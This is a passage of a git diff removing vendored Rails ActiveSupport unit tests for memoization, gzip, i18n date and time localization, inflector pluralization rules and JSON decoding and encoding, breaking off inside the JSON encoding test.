--- a/vendor/rails/activesupport/test/flush_cache_on_private_memoization_test.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require 'active_support'
-require 'test/unit'
-
-class FlashCacheOnPrivateMemoizationTest < Test::Unit::TestCase
-  extend ActiveSupport::Memoizable
-
-  def test_public
-    assert_method_unmemoizable :pub
-  end
-
-  def test_protected
-    assert_method_unmemoizable :prot
-  end
-
-  def test_private
-    assert_method_unmemoizable :priv
-  end
-
-  def pub; rand end
-  memoize :pub
-
-  protected
-
-  def prot; rand end
-  memoize :prot
-
-  private
-
-  def priv; rand end
-  memoize :priv
-
-  def assert_method_unmemoizable(meth, message=nil)
-    full_message = build_message(message, "<?> not unmemoizable.\n", meth)
-    assert_block(full_message) do
-      a = send meth
-      b = send meth
-      unmemoize_all
-      c = send meth
-      a == b && a != c
-    end
-  end
-
-end
diff --git a/vendor/rails/activesupport/test/gzip_test.rb b/vendor/rails/activesupport/test/gzip_test.rb
deleted file mode 100644
index 2a24c0bd..00000000
--- a/vendor/rails/activesupport/test/gzip_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'abstract_unit'
-
-class GzipTest < Test::Unit::TestCase
-  def test_compress_should_decompress_to_the_same_value
-    assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World"))
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/i18n_test.rb b/vendor/rails/activesupport/test/i18n_test.rb
deleted file mode 100644
index 7535f4ad..00000000
--- a/vendor/rails/activesupport/test/i18n_test.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-require 'abstract_unit'
-
-class I18nTest < Test::Unit::TestCase
-  def setup
-    @date = Date.parse("2008-7-2")
-    @time = Time.utc(2008, 7, 2, 16, 47, 1)
-  end
-  
-  def test_time_zone_localization_with_default_format
-    Time.zone.stubs(:now).returns Time.local(2000)
-    assert_equal Time.zone.now.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(Time.zone.now)
-  end
-  
-  def test_date_localization_should_use_default_format
-    assert_equal @date.strftime("%Y-%m-%d"), I18n.localize(@date)
-  end
-  
-  def test_date_localization_with_default_format
-    assert_equal @date.strftime("%Y-%m-%d"), I18n.localize(@date, :format => :default)
-  end
-  
-  def test_date_localization_with_short_format
-    assert_equal @date.strftime("%b %d"), I18n.localize(@date, :format => :short)
-  end
-  
-  def test_date_localization_with_long_format
-    assert_equal @date.strftime("%B %d, %Y"), I18n.localize(@date, :format => :long)
-  end
-  
-  def test_time_localization_should_use_default_format    
-    assert_equal @time.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(@time)
-  end
-  
-  def test_time_localization_with_default_format
-    assert_equal @time.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(@time, :format => :default)
-  end
-  
-  def test_time_localization_with_short_format
-    assert_equal @time.strftime("%d %b %H:%M"), I18n.localize(@time, :format => :short)
-  end
-  
-  def test_time_localization_with_long_format
-    assert_equal @time.strftime("%B %d, %Y %H:%M"), I18n.localize(@time, :format => :long)
-  end
-    
-  def test_day_names
-    assert_equal Date::DAYNAMES, I18n.translate(:'date.day_names')
-  end
-  
-  def test_abbr_day_names
-    assert_equal Date::ABBR_DAYNAMES, I18n.translate(:'date.abbr_day_names')
-  end
-  
-  def test_month_names
-    assert_equal Date::MONTHNAMES, I18n.translate(:'date.month_names')
-  end
-  
-  def test_abbr_month_names
-    assert_equal Date::ABBR_MONTHNAMES, I18n.translate(:'date.abbr_month_names')
-  end
-  
-  def test_date_order
-    assert_equal [:year, :month, :day], I18n.translate(:'date.order')
-  end
-  
-  def test_time_am
-    assert_equal 'am', I18n.translate(:'time.am')
-  end
-  
-  def test_time_pm
-    assert_equal 'pm', I18n.translate(:'time.pm')
-  end
-
-  def test_words_connector
-    assert_equal ', ', I18n.translate(:'support.array.words_connector')
-  end
-
-  def test_two_words_connector
-    assert_equal ' and ', I18n.translate(:'support.array.two_words_connector')
-  end
-
-  def test_last_word_connector
-    assert_equal ', and ', I18n.translate(:'support.array.last_word_connector')
-  end
-
-  def test_to_sentence
-    default_two_words_connector = I18n.translate(:'support.array.two_words_connector')
-    default_last_word_connector = I18n.translate(:'support.array.last_word_connector')
-    assert_equal 'a, b, and c', %w[a b c].to_sentence
-    I18n.backend.store_translations 'en', :support => { :array => { :two_words_connector => ' & ' } }
-    assert_equal 'a & b', %w[a b].to_sentence
-    I18n.backend.store_translations 'en', :support => { :array => { :last_word_connector => ' and ' } }
-    assert_equal 'a, b and c', %w[a b c].to_sentence
-  ensure
-    I18n.backend.store_translations 'en', :support => { :array => { :two_words_connector => default_two_words_connector } }
-    I18n.backend.store_translations 'en', :support => { :array => { :last_word_connector => default_last_word_connector } }
-  end
-end
diff --git a/vendor/rails/activesupport/test/inflector_test.rb b/vendor/rails/activesupport/test/inflector_test.rb
deleted file mode 100644
index 6b9fbd31..00000000
--- a/vendor/rails/activesupport/test/inflector_test.rb
+++ /dev/null
@@ -1,298 +0,0 @@
-require 'abstract_unit'
-require 'inflector_test_cases'
-
-module Ace
-  module Base
-    class Case
-    end
-  end
-end
-
-class InflectorTest < Test::Unit::TestCase
-  include InflectorTestCases
-
-  def test_pluralize_plurals
-    assert_equal "plurals", ActiveSupport::Inflector.pluralize("plurals")
-    assert_equal "Plurals", ActiveSupport::Inflector.pluralize("Plurals")
-  end
-
-  def test_pluralize_empty_string
-    assert_equal "", ActiveSupport::Inflector.pluralize("")
-  end
-
-  SingularToPlural.each do |singular, plural|
-    define_method "test_pluralize_#{singular}" do
-      assert_equal(plural, ActiveSupport::Inflector.pluralize(singular))
-      assert_equal(plural.capitalize, ActiveSupport::Inflector.pluralize(singular.capitalize))
-    end
-  end
-
-  SingularToPlural.each do |singular, plural|
-    define_method "test_singularize_#{plural}" do
-      assert_equal(singular, ActiveSupport::Inflector.singularize(plural))
-      assert_equal(singular.capitalize, ActiveSupport::Inflector.singularize(plural.capitalize))
-    end
-  end
-
-  def test_overwrite_previous_inflectors
-    assert_equal("series", ActiveSupport::Inflector.singularize("series"))
-    ActiveSupport::Inflector.inflections.singular "series", "serie"
-    assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
-    ActiveSupport::Inflector.inflections.uncountable "series" # Return to normal
-  end
-
-  MixtureToTitleCase.each do |before, titleized|
-    define_method "test_titleize_#{before}" do
-      assert_equal(titleized, ActiveSupport::Inflector.titleize(before))
-    end
-  end
-
-  def test_camelize
-    CamelToUnderscore.each do |camel, underscore|
-      assert_equal(camel, ActiveSupport::Inflector.camelize(underscore))
-    end
-  end
-
-  def test_camelize_with_lower_downcases_the_first_letter
-    assert_equal('capital', ActiveSupport::Inflector.camelize('Capital', false))
-  end
-
-  def test_underscore
-    CamelToUnderscore.each do |camel, underscore|
-      assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
-    end
-    CamelToUnderscoreWithoutReverse.each do |camel, underscore|
-      assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
-    end
-  end
-
-  def test_camelize_with_module
-    CamelWithModuleToUnderscoreWithSlash.each do |camel, underscore|
-      assert_equal(camel, ActiveSupport::Inflector.camelize(underscore))
-    end
-  end
-
-  def test_underscore_with_slashes
-    CamelWithModuleToUnderscoreWithSlash.each do |camel, underscore|
-      assert_equal(underscore, ActiveSupport::Inflector.underscore(camel))
-    end
-  end
-
-  def test_demodulize
-    assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account")
-  end
-
-  def test_foreign_key
-    ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|
-      assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass))
-    end
-
-    ClassNameToForeignKeyWithoutUnderscore.each do |klass, foreign_key|
-      assert_equal(foreign_key, ActiveSupport::Inflector.foreign_key(klass, false))
-    end
-  end
-
-  def test_tableize
-    ClassNameToTableName.each do |class_name, table_name|
-      assert_equal(table_name, ActiveSupport::Inflector.tableize(class_name))
-    end
-  end
-
-  def test_parameterize
-    StringToParameterized.each do |some_string, parameterized_string|
-      assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
-    end
-  end
-
-  def test_parameterize_and_normalize
-    StringToParameterizedAndNormalized.each do |some_string, parameterized_string|
-      assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string))
-    end
-  end
-
-  def test_parameterize_with_custom_separator
-    StringToParameterized.each do |some_string, parameterized_string|
-      assert_equal(parameterized_string.gsub('-', '_'), ActiveSupport::Inflector.parameterize(some_string, '_'))
-    end
-  end
-
-  def test_parameterize_with_multi_character_separator
-    StringToParameterized.each do |some_string, parameterized_string|
-      assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__'))
-    end
-  end
-
-  def test_classify
-    ClassNameToTableName.each do |class_name, table_name|
-      assert_equal(class_name, ActiveSupport::Inflector.classify(table_name))
-      assert_equal(class_name, ActiveSupport::Inflector.classify("table_prefix." + table_name))
-    end
-  end
-
-  def test_classify_with_symbol
-    assert_nothing_raised do
-      assert_equal 'FooBar', ActiveSupport::Inflector.classify(:foo_bars)
-    end
-  end
-
-  def test_classify_with_leading_schema_name
-    assert_equal 'FooBar', ActiveSupport::Inflector.classify('schema.foo_bar')
-  end
-
-  def test_humanize
-    UnderscoreToHuman.each do |underscore, human|
-      assert_equal(human, ActiveSupport::Inflector.humanize(underscore))
-    end
-  end
-
-  def test_humanize_by_rule
-    ActiveSupport::Inflector.inflections do |inflect|
-      inflect.human(/_cnt$/i, '\1_count')
-      inflect.human(/^prefx_/i, '\1')
-    end
-    assert_equal("Jargon count", ActiveSupport::Inflector.humanize("jargon_cnt"))
-    assert_equal("Request", ActiveSupport::Inflector.humanize("prefx_request"))
-  end
-
-  def test_humanize_by_string
-    ActiveSupport::Inflector.inflections do |inflect|
-      inflect.human("col_rpted_bugs", "Reported bugs")
-    end
-    assert_equal("Reported bugs", ActiveSupport::Inflector.humanize("col_rpted_bugs"))
-    assert_equal("Col rpted bugs", ActiveSupport::Inflector.humanize("COL_rpted_bugs"))
-  end
-
-  def test_constantize
-    assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("Ace::Base::Case") }
-    assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("::Ace::Base::Case") }
-    assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("InflectorTest") }
-    assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("::InflectorTest") }
-    assert_raise(NameError) { ActiveSupport::Inflector.constantize("UnknownClass") }
-    assert_raise(NameError) { ActiveSupport::Inflector.constantize("An invalid string") }
-    assert_raise(NameError) { ActiveSupport::Inflector.constantize("InvalidClass\n") }
-  end
-
-  def test_constantize_does_lexical_lookup
-    assert_raise(NameError) { ActiveSupport::Inflector.constantize("Ace::Base::InflectorTest") }
-  end
-
-  def test_ordinal
-    OrdinalNumbers.each do |number, ordinalized|
-      assert_equal(ordinalized, ActiveSupport::Inflector.ordinalize(number))
-    end
-  end
-
-  def test_dasherize
-    UnderscoresToDashes.each do |underscored, dasherized|
-      assert_equal(dasherized, ActiveSupport::Inflector.dasherize(underscored))
-    end
-  end
-
-  def test_underscore_as_reverse_of_dasherize
-    UnderscoresToDashes.each do |underscored, dasherized|
-      assert_equal(underscored, ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.dasherize(underscored)))
-    end
-  end
-
-  def test_underscore_to_lower_camel
-    UnderscoreToLowerCamel.each do |underscored, lower_camel|
-      assert_equal(lower_camel, ActiveSupport::Inflector.camelize(underscored, false))
-    end
-  end
-
-  %w{plurals singulars uncountables humans}.each do |inflection_type|
-    class_eval "
-      def test_clear_#{inflection_type}
-        cached_values = ActiveSupport::Inflector.inflections.#{inflection_type}
-        ActiveSupport::Inflector.inflections.clear :#{inflection_type}
-        assert ActiveSupport::Inflector.inflections.#{inflection_type}.empty?, \"#{inflection_type} inflections should be empty after clear :#{inflection_type}\"
-        ActiveSupport::Inflector.inflections.instance_variable_set :@#{inflection_type}, cached_values
-      end
-    "
-  end
-
-  def test_clear_all
-    cached_values = ActiveSupport::Inflector.inflections.plurals, ActiveSupport::Inflector.inflections.singulars, ActiveSupport::Inflector.inflections.uncountables, ActiveSupport::Inflector.inflections.humans
-    ActiveSupport::Inflector.inflections.clear :all
-    assert ActiveSupport::Inflector.inflections.plurals.empty?
-    assert ActiveSupport::Inflector.inflections.singulars.empty?
-    assert ActiveSupport::Inflector.inflections.uncountables.empty?
-    assert ActiveSupport::Inflector.inflections.humans.empty?
-    ActiveSupport::Inflector.inflections.instance_variable_set :@plurals, cached_values[0]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@singulars, cached_values[1]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@uncountables, cached_values[2]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@humans, cached_values[3]
-  end
-
-  def test_clear_with_default
-    cached_values = ActiveSupport::Inflector.inflections.plurals, ActiveSupport::Inflector.inflections.singulars, ActiveSupport::Inflector.inflections.uncountables, ActiveSupport::Inflector.inflections.humans
-    ActiveSupport::Inflector.inflections.clear
-    assert ActiveSupport::Inflector.inflections.plurals.empty?
-    assert ActiveSupport::Inflector.inflections.singulars.empty?
-    assert ActiveSupport::Inflector.inflections.uncountables.empty?
-    assert ActiveSupport::Inflector.inflections.humans.empty?
-    ActiveSupport::Inflector.inflections.instance_variable_set :@plurals, cached_values[0]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@singulars, cached_values[1]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@uncountables, cached_values[2]
-    ActiveSupport::Inflector.inflections.instance_variable_set :@humans, cached_values[3]
-  end
-
-  Irregularities.each do |irregularity|
-    singular, plural = *irregularity
-    ActiveSupport::Inflector.inflections do |inflect|
-      define_method("test_irregularity_between_#{singular}_and_#{plural}") do
-        inflect.irregular(singular, plural)
-        assert_equal singular, ActiveSupport::Inflector.singularize(plural)
-        assert_equal plural, ActiveSupport::Inflector.pluralize(singular)
-      end
-    end
-  end
-
-  [ :all, [] ].each do |scope|
-    ActiveSupport::Inflector.inflections do |inflect|
-      define_method("test_clear_inflections_with_#{scope.kind_of?(Array) ? "no_arguments" : scope}") do
-        # save all the inflections
-        singulars, plurals, uncountables = inflect.singulars, inflect.plurals, inflect.uncountables
-
-        # clear all the inflections
-        inflect.clear(*scope)
-
-        assert_equal [], inflect.singulars
-        assert_equal [], inflect.plurals
-        assert_equal [], inflect.uncountables
-
-        # restore all the inflections
-        singulars.reverse.each { |singular| inflect.singular(*singular) }
-        plurals.reverse.each   { |plural|   inflect.plural(*plural) }
-        inflect.uncountable(uncountables)
-
-        assert_equal singulars, inflect.singulars
-        assert_equal plurals, inflect.plurals
-        assert_equal uncountables, inflect.uncountables
-      end
-    end
-  end
-
-  { :singulars => :singular, :plurals => :plural, :uncountables => :uncountable, :humans => :human }.each do |scope, method|
-    ActiveSupport::Inflector.inflections do |inflect|
-      define_method("test_clear_inflections_with_#{scope}") do
-        # save the inflections
-        values = inflect.send(scope)
-
-        # clear the inflections
-        inflect.clear(scope)
-
-        assert_equal [], inflect.send(scope)
-
-        # restore the inflections
-        if scope == :uncountables
-          inflect.send(method, values)
-        else
-          values.reverse.each { |value| inflect.send(method, *value) }
-        end
-
-        assert_equal values, inflect.send(scope)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/inflector_test_cases.rb b/vendor/rails/activesupport/test/inflector_test_cases.rb
deleted file mode 100644
index ecaa359c..00000000
--- a/vendor/rails/activesupport/test/inflector_test_cases.rb
+++ /dev/null
@@ -1,262 +0,0 @@
-# encoding: utf-8
-
-module InflectorTestCases
-  SingularToPlural = {
-    "search"      => "searches",
-    "switch"      => "switches",
-    "fix"         => "fixes",
-    "box"         => "boxes",
-    "process"     => "processes",
-    "address"     => "addresses",
-    "case"        => "cases",
-    "stack"       => "stacks",
-    "wish"        => "wishes",
-    "fish"        => "fish",
-    "jeans"       => "jeans",
-    "funky jeans" => "funky jeans",
-    
-    "category"    => "categories",
-    "query"       => "queries",
-    "ability"     => "abilities",
-    "agency"      => "agencies",
-    "movie"       => "movies",
-
-    "archive"     => "archives",
-
-    "index"       => "indices",
-
-    "wife"        => "wives",
-    "safe"        => "saves",
-    "half"        => "halves",
-
-    "move"        => "moves",
-
-    "salesperson" => "salespeople",
-    "person"      => "people",
-
-    "spokesman"   => "spokesmen",
-    "man"         => "men",
-    "woman"       => "women",
-
-    "basis"       => "bases",
-    "diagnosis"   => "diagnoses",
-    "diagnosis_a" => "diagnosis_as",
-
-    "datum"       => "data",
-    "medium"      => "media",
-    "analysis"    => "analyses",
-
-    "node_child"  => "node_children",
-    "child"       => "children",
-
-    "experience"  => "experiences",
-    "day"         => "days",
-
-    "comment"     => "comments",
-    "foobar"      => "foobars",
-    "newsletter"  => "newsletters",
-
-    "old_news"    => "old_news",
-    "news"        => "news",
-
-    "series"      => "series",
-    "species"     => "species",
-
-    "quiz"        => "quizzes",
-
-    "perspective" => "perspectives",
-
-    "ox"          => "oxen",
-    "photo"       => "photos",
-    "buffalo"     => "buffaloes",
-    "tomato"      => "tomatoes",
-    "dwarf"       => "dwarves",
-    "elf"         => "elves",
-    "information" => "information",
-    "equipment"   => "equipment",
-    "bus"         => "buses",
-    "status"      => "statuses",
-    "status_code" => "status_codes",
-    "mouse"       => "mice",
-
-    "louse"       => "lice",
-    "house"       => "houses",
-    "octopus"     => "octopi",
-    "virus"       => "viri",
-    "alias"       => "aliases",
-    "portfolio"   => "portfolios",
-
-    "vertex"      => "vertices",
-    "matrix"      => "matrices",
-    "matrix_fu"   => "matrix_fus",
-
-    "axis"        => "axes",
-    "testis"      => "testes",
-    "crisis"      => "crises",
-
-    "rice"        => "rice",
-    "shoe"        => "shoes",
-
-    "horse"       => "horses",
-    "prize"       => "prizes",
-    "edge"        => "edges",
-
-    "cow"         => "kine",
-    "database"    => "databases"
-  }
-
-  CamelToUnderscore = {
-    "Product"               => "product",
-    "SpecialGuest"          => "special_guest",
-    "ApplicationController" => "application_controller",
-    "Area51Controller"      => "area51_controller"
-  }
-
-  UnderscoreToLowerCamel = {
-    "product"                => "product",
-    "special_guest"          => "specialGuest",
-    "application_controller" => "applicationController",
-    "area51_controller"      => "area51Controller"
-  }
-
-  CamelToUnderscoreWithoutReverse = {
-    "HTMLTidy"              => "html_tidy",
-    "HTMLTidyGenerator"     => "html_tidy_generator",
-    "FreeBSD"               => "free_bsd",
-    "HTML"                  => "html",
-  }
-
-  CamelWithModuleToUnderscoreWithSlash = {
-    "Admin::Product" => "admin/product",
-    "Users::Commission::Department" => "users/commission/department",
-    "UsersSection::CommissionDepartment" => "users_section/commission_department",
-  }
-
-  ClassNameToForeignKeyWithUnderscore = {
-    "Person" => "person_id",
-    "MyApplication::Billing::Account" => "account_id"
-  }
-
-  ClassNameToForeignKeyWithoutUnderscore = {
-    "Person" => "personid",
-    "MyApplication::Billing::Account" => "accountid"
-  }
-
-  ClassNameToTableName = {
-    "PrimarySpokesman" => "primary_spokesmen",
-    "NodeChild"        => "node_children"
-  }
-
-  StringToParameterized = {
-    "Donald E. Knuth"                     => "donald-e-knuth",
-    "Random text with *(bad)* characters" => "random-text-with-bad-characters",
-    "Allow_Under_Scores"                  => "allow_under_scores",
-    "Trailing bad characters!@#"          => "trailing-bad-characters",
-    "!@#Leading bad characters"           => "leading-bad-characters",
-    "Squeeze   separators"                => "squeeze-separators",
-    "Test with + sign"                    => "test-with-sign",
-    "Test with malformed utf8 \251"       => "test-with-malformed-utf8"
-  }
-
-  StringToParameterizeWithNoSeparator = {
-    "Donald E. Knuth"                     => "donaldeknuth",
-    "Random text with *(bad)* characters" => "randomtextwithbadcharacters",
-    "Trailing bad characters!@#"          => "trailingbadcharacters",
-    "!@#Leading bad characters"           => "leadingbadcharacters",
-    "Squeeze   separators"                => "squeezeseparators",
-    "Test with + sign"                    => "testwithsign",
-    "Test with malformed utf8 \251"       => "testwithmalformedutf8"
-  }
-
-  StringToParameterizeWithUnderscore = {
-    "Donald E. Knuth"                     => "donald_e_knuth",
-    "Random text with *(bad)* characters" => "random_text_with_bad_characters",
-    "Trailing bad characters!@#"          => "trailing_bad_characters",
-    "!@#Leading bad characters"           => "leading_bad_characters",
-    "Squeeze   separators"                => "squeeze_separators",
-    "Test with + sign"                    => "test_with_sign",
-    "Test with malformed utf8 \251"       => "test_with_malformed_utf8"
-  }
-
-  # Ruby 1.9 doesn't do Unicode normalization yet.
-  if RUBY_VERSION >= '1.9'
-    StringToParameterizedAndNormalized = {
-      "Malmö"                               => "malm",
-      "Garçons"                             => "gar-ons",
-      "Ops \251"                            => "ops"
-    }
-  else
-    StringToParameterizedAndNormalized = {
-      "Malmö"                               => "malmo",
-      "Garçons"                             => "garcons",
-      "Ops \251"                            => "ops"
-    }
-  end
-
-  UnderscoreToHuman = {
-    "employee_salary" => "Employee salary",
-    "employee_id"     => "Employee",
-    "underground"     => "Underground"
-  }
-
-  MixtureToTitleCase = {
-    'active_record'       => 'Active Record',
-    'ActiveRecord'        => 'Active Record',
-    'action web service'  => 'Action Web Service',
-    'Action Web Service'  => 'Action Web Service',
-    'Action web service'  => 'Action Web Service',
-    'actionwebservice'    => 'Actionwebservice',
-    'Actionwebservice'    => 'Actionwebservice',
-    "david's code"        => "David's Code",
-    "David's code"        => "David's Code",
-    "david's Code"        => "David's Code"
-  }
-
-  OrdinalNumbers = {
-    "0" => "0th",
-    "1" => "1st",
-    "2" => "2nd",
-    "3" => "3rd",
-    "4" => "4th",
-    "5" => "5th",
-    "6" => "6th",
-    "7" => "7th",
-    "8" => "8th",
-    "9" => "9th",
-    "10" => "10th",
-    "11" => "11th",
-    "12" => "12th",
-    "13" => "13th",
-    "14" => "14th",
-    "20" => "20th",
-    "21" => "21st",
-    "22" => "22nd",
-    "23" => "23rd",
-    "24" => "24th",
-    "100" => "100th",
-    "101" => "101st",
-    "102" => "102nd",
-    "103" => "103rd",
-    "104" => "104th",
-    "110" => "110th",
-    "111" => "111th",
-    "112" => "112th",
-    "113" => "113th",
-    "1000" => "1000th",
-    "1001" => "1001st"
-  }
-
-  UnderscoresToDashes = {
-    "street"                => "street",
-    "street_address"        => "street-address",
-    "person_street_address" => "person-street-address"
-  }
-
-  Irregularities = {
-    'person' => 'people',
-    'man'    => 'men',
-    'child'  => 'children',
-    'sex'    => 'sexes',
-    'move'   => 'moves',
-  }
-end
diff --git a/vendor/rails/activesupport/test/json/decoding_test.rb b/vendor/rails/activesupport/test/json/decoding_test.rb
deleted file mode 100644
index e45851ec..00000000
--- a/vendor/rails/activesupport/test/json/decoding_test.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-# encoding: UTF-8
-require 'abstract_unit'
-
-class TestJSONDecoding < ActiveSupport::TestCase
-  TESTS = {
-    %q({"returnTo":{"\/categories":"\/"}})        => {"returnTo" => {"/categories" => "/"}},
-    %q({"return\\"To\\":":{"\/categories":"\/"}}) => {"return\"To\":" => {"/categories" => "/"}},
-    %q({"returnTo":{"\/categories":1}})          => {"returnTo" => {"/categories" => 1}},
-    %({"returnTo":[1,"a"]})                    => {"returnTo" => [1, "a"]},
-    %({"returnTo":[1,"\\"a\\",", "b"]})        => {"returnTo" => [1, "\"a\",", "b"]},
-    %({"a": "'", "b": "5,000"})                  => {"a" => "'", "b" => "5,000"},
-    %({"a": "a's, b's and c's", "b": "5,000"})   => {"a" => "a's, b's and c's", "b" => "5,000"},
-    # multibyte
-    %({"matzue": "松江", "asakusa": "浅草"}) => {"matzue" => "松江", "asakusa" => "浅草"},
-    %({"a": "2007-01-01"})                       => {'a' => Date.new(2007, 1, 1)},
-    %({"a": "2007-01-01 01:12:34 Z"})            => {'a' => Time.utc(2007, 1, 1, 1, 12, 34)},
-    # no time zone
-    %({"a": "2007-01-01 01:12:34"})              => {'a' => "2007-01-01 01:12:34"},
-    # needs to be *exact*
-    %({"a": " 2007-01-01 01:12:34 Z "})          => {'a' => " 2007-01-01 01:12:34 Z "},
-    %({"a": "2007-01-01 : it's your birthday"})  => {'a' => "2007-01-01 : it's your birthday"},
-    %([])    => [],
-    %({})    => {},
-    %({"a":1})     => {"a" => 1},
-    %({"a": ""})    => {"a" => ""},
-    %({"a":"\\""}) => {"a" => "\""},
-    %({"a": null})  => {"a" => nil},
-    %({"a": true})  => {"a" => true},
-    %({"a": false}) => {"a" => false},
-    %q({"bad":"\\\\","trailing":""}) => {"bad" => "\\", "trailing" => ""},
-    %q({"a": "http:\/\/test.host\/posts\/1"}) => {"a" => "http://test.host/posts/1"},
-    %q({"a": "\u003cunicode\u0020escape\u003e"}) => {"a" => "<unicode escape>"},
-    %q({"a": "\\\\u0020skip double backslashes"}) => {"a" => "\\u0020skip double backslashes"},
-    %q({"a": "\u003cbr /\u003e"}) => {'a' => "<br />"},
-    %q({"b":["\u003ci\u003e","\u003cb\u003e","\u003cu\u003e"]}) => {'b' => ["<i>","<b>","<u>"]},
-    # test combination of dates and escaped or unicode encoded data in arrays
-    %q([{"d":"1970-01-01", "s":"\u0020escape"},{"d":"1970-01-01", "s":"\u0020escape"}]) =>
-      [{'d' => Date.new(1970, 1, 1), 's' => ' escape'},{'d' => Date.new(1970, 1, 1), 's' => ' escape'}],
-    %q([{"d":"1970-01-01","s":"http:\/\/example.com"},{"d":"1970-01-01","s":"http:\/\/example.com"}]) =>
-      [{'d' => Date.new(1970, 1, 1), 's' => 'http://example.com'},
-       {'d' => Date.new(1970, 1, 1), 's' => 'http://example.com'}]
-  }
-
-  # load the default JSON backend
-  ActiveSupport::JSON.backend = 'Yaml'
-
-  backends = %w(Yaml)
-  backends << "JSONGem" if defined?(::JSON)
-  backends << "Yajl" if defined?(::Yajl)
-
-  backends.each do |backend|
-    TESTS.each do |json, expected|
-      test "json decodes #{json} with the #{backend} backend" do
-        ActiveSupport.parse_json_times = true
-        silence_warnings do
-          ActiveSupport::JSON.with_backend backend do
-            assert_nothing_raised do
-              assert_equal expected, ActiveSupport::JSON.decode(json)
-            end
-          end
-        end
-      end
-    end
-  end
-
-  if backends.include?("JSONGem")
-    test "json decodes time json with time parsing disabled" do
-      ActiveSupport.parse_json_times = false
-      expected = {"a" => "2007-01-01 01:12:34 Z"}
-      ActiveSupport::JSON.with_backend "JSONGem" do
-        assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
-      end
-    end
-  end
-
-  def test_failed_json_decoding
-    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({: 1})) }
-  end
-end
-
diff --git a/vendor/rails/activesupport/test/json/encoding_test.rb b/vendor/rails/activesupport/test/json/encoding_test.rb
deleted file mode 100644
index 47b2ba27..00000000
--- a/vendor/rails/activesupport/test/json/encoding_test.rb
+++ /dev/null
@@ -1,162 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-
-class TestJSONEncoding < Test::Unit::TestCase
-  class Foo
-    def initialize(a, b)
-      @a, @b = a, b
-    end
-  end
-
-  class Custom
-    def to_json(options)
-      '"custom"'
-    end
-  end
-
-  TrueTests     = [[ true,  %(true)  ]]
-  FalseTests    = [[ false, %(false) ]]
-  NilTests      = [[ nil,   %(null)  ]]
-  NumericTests  = [[ 1,     %(1)     ],
-                   [ 2.5,   %(2.5)   ]]
-
-  StringTests   = [[ 'this is the <string>',     %("this is the \\u003Cstring\\u003E")],
-                   [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
-                   [ 'http://test.host/posts/1', %("http://test.host/posts/1")],
-                   [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f",
-                     %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000B\\f\\r\\u000E\\u000F\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001A\\u001B\\u001C\\u001D\\u001E\\u001F") ]]
-
-  ArrayTests    = [[ ['a', 'b', 'c'],          %([\"a\",\"b\",\"c\"])          ],
-                   [ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
-
-  SymbolTests   = [[ :a,     %("a")    ],
-                   [ :this,  %("this") ],
-                   [ :"a b", %("a b")  ]]
-
-  ObjectTests   = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
-  CustomTests   = [[ Custom.new, '"custom"' ]]
-
-  VariableTests = [[ ActiveSupport::JSON::Variable.new('foo'), 'foo'],
-                   [ ActiveSupport::JSON::Variable.new('alert("foo")'), 'alert("foo")']]
-  RegexpTests   = [[ /^a/, '/^a/' ], [/^\w{1,2}[a-z]+/ix, '/^\\w{1,2}[a-z]+/ix']]
-
-  DateTests     = [[ Date.new(2005,2,1), %("2005/02/01") ]]
-  TimeTests     = [[ Time.utc(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
-  DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
-
-  StandardDateTests     = [[ Date.new(2005,2,1), %("2005-02-01") ]]
-  StandardTimeTests     = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10Z") ]]
-  StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10+00:00") ]]
-  StandardStringTests   = [[ 'this is the <string>', %("this is the <string>")]]
-
-  constants.grep(/Tests$/).each do |class_tests|
-    define_method("test_#{class_tests[0..-6].underscore}") do
-      begin
